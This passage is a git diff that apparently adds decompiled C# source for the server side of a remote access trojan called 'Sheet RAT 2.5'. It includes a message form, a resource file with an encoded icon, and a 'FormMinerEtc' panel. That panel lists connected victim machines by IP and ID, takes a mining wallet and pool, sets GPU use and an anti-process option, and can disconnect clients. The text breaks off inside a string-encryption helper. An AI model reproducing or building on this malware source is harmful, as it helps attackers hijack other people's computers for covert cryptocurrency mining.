this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(470, 379); + this.Controls.Add((Control) this.panel2); + this.Controls.Add((Control) this.panel1); + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = nameof (FormMessage); + this.Style = MetroColorStyle.Lime; + this.Text = "Message"; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FormMessageBox_Load); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + this.ResumeLayout(false); + } +} +} diff --git a/Server/Server/Forms/FormMessage.resx b/Server/Server/Forms/FormMessage.resx new file mode 100644 index 0000000..a567bcf --- /dev/null +++ b/Server/Server/Forms/FormMessage.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 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 + + \ No newline at end of file diff --git a/Server/Server/Forms/FormMinerEtc.cs b/Server/Server/Forms/FormMinerEtc.cs new file mode 100644 index 0000000..d7a0cdf --- /dev/null +++ b/Server/Server/Forms/FormMinerEtc.cs @@ -0,0 +1,542 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormMinerEtc +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Connection; +using Server.Helper; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.Collections; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.IO; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormMinerEtc : MetroForm +{ + public string args; + public bool work; + private IContainer components; + private MetroLabel metroLabel1; + private MetroLabel metroLabel2; + private MetroCheckBox AntiProcessCheck; + private NumericUpDown numGpu; + private MetroLabel metroLabel3; + public MetroButton Start; + public MetroButton metroButton1; + private MetroTextBox Wallet; + private MetroTextBox Pool; + private MetroTextBox AntiProcess; + private Timer TimeOut; + private MetroContextMenu metroContextMenu1; + private ToolStripMenuItem kickToolStripMenuItem; + public DataGridView Grid1; + private Timer Checker; + + public Clients[] ClientsSelected() + { + List clientsList = new List(); + foreach (DataGridViewRow selectedRow in (BaseCollection) this.Grid1.SelectedRows) + clientsList.Add((Clients) selectedRow.Tag); + return clientsList.ToArray(); + } + + public Clients[] ClientsAll() + { + List clientsList = new List(); + foreach (DataGridViewRow row in (IEnumerable) this.Grid1.Rows) + clientsList.Add((Clients) row.Tag); + return clientsList.ToArray(); + } + + private void FormEtc_FormClosing(object sender, FormClosingEventArgs e) + { + this.Hide(); + e.Cancel = true; + } + + public FormMinerEtc() => this.InitializeComponent(); + + private void FormMinerEtc_Load(object sender, EventArgs e) + { + DataGridViewColumnCollection columns1 = this.Grid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn1 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn1.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn1.HeaderText = "IP"; + viewTextBoxColumn1.MinimumWidth = 150; + columns1.Add((DataGridViewColumn) viewTextBoxColumn1); + DataGridViewColumnCollection columns2 = this.Grid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn2 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn2.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn2.HeaderText = "ID"; + viewTextBoxColumn2.MinimumWidth = 150; + columns2.Add((DataGridViewColumn) viewTextBoxColumn2); + DataGridViewColumnCollection columns3 = this.Grid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn3 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn3.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn3.HeaderText = "GPU RAM"; + viewTextBoxColumn3.MinimumWidth = 200; + columns3.Add((DataGridViewColumn) viewTextBoxColumn3); + DataGridViewColumnCollection columns4 = this.Grid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn4 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn4.AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill; + viewTextBoxColumn4.HeaderText = "GPU"; + viewTextBoxColumn4.MinimumWidth = 30; + columns4.Add((DataGridViewColumn) viewTextBoxColumn4); + this.FormClosing += (FormClosingEventHandler) ((t, p) => + { + foreach (Clients clients in this.ClientsAll()) + clients.Disconnected("Stop"); + Program.form.MinerActive = false; + this.Start.Text = "Start"; + p.Cancel = true; + this.Hide(); + this.Refresh(); + }); + DataGridViewCellStyle gridViewCellStyle = new DataGridViewCellStyle(); + gridViewCellStyle.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle.ForeColor = Customs.customs.StyleToColor(); + gridViewCellStyle.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + gridViewCellStyle.BackColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White; + gridViewCellStyle.SelectionForeColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White; + gridViewCellStyle.SelectionBackColor = Customs.customs.StyleToColor(); + gridViewCellStyle.WrapMode = DataGridViewTriState.False; + this.Grid1.DefaultCellStyle = gridViewCellStyle; + this.Grid1.ColumnHeadersDefaultCellStyle = gridViewCellStyle; + this.Grid1.RowTemplate.Resizable = DataGridViewTriState.True; + this.Grid1.RowTemplate.MinimumHeight = 30; + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.Wallet.Theme = Customs.customs.Theme; + this.Pool.Theme = Customs.customs.Theme; + this.AntiProcess.Theme = Customs.customs.Theme; + this.metroLabel1.Theme = Customs.customs.Theme; + this.metroLabel2.Theme = Customs.customs.Theme; + this.metroLabel3.Theme = Customs.customs.Theme; + this.metroButton1.Theme = Customs.customs.Theme; + this.Start.Theme = Customs.customs.Theme; + this.AntiProcessCheck.Theme = Customs.customs.Theme; + this.Grid1.BackgroundColor = Customs.customs.ThemeToColor(); + this.numGpu.BackColor = Customs.customs.ThemeToColor(); + } + if (Customs.customs.Style == MetroColorStyle.Lime) + return; + this.Style = Customs.customs.Style; + this.Wallet.Style = Customs.customs.Style; + this.Pool.Style = Customs.customs.Style; + this.AntiProcess.Style = Customs.customs.Style; + this.metroLabel1.Style = Customs.customs.Style; + this.metroLabel2.Style = Customs.customs.Style; + this.metroLabel3.Style = Customs.customs.Style; + this.metroButton1.Style = Customs.customs.Style; + this.Start.Style = Customs.customs.Style; + this.AntiProcessCheck.Style = Customs.customs.Style; + this.numGpu.ForeColor = Customs.customs.StyleToColor(); + } + + public string Unamlib_Encrypt(string plainText) + { + byte[] bytes1 = Encoding.UTF8.GetBytes(plainText); + byte[] bytes2 = Encoding.ASCII.GetBytes("UXUUXUUXUUCommandULineUUXUUXUUXU"); + byte[] bytes3 = 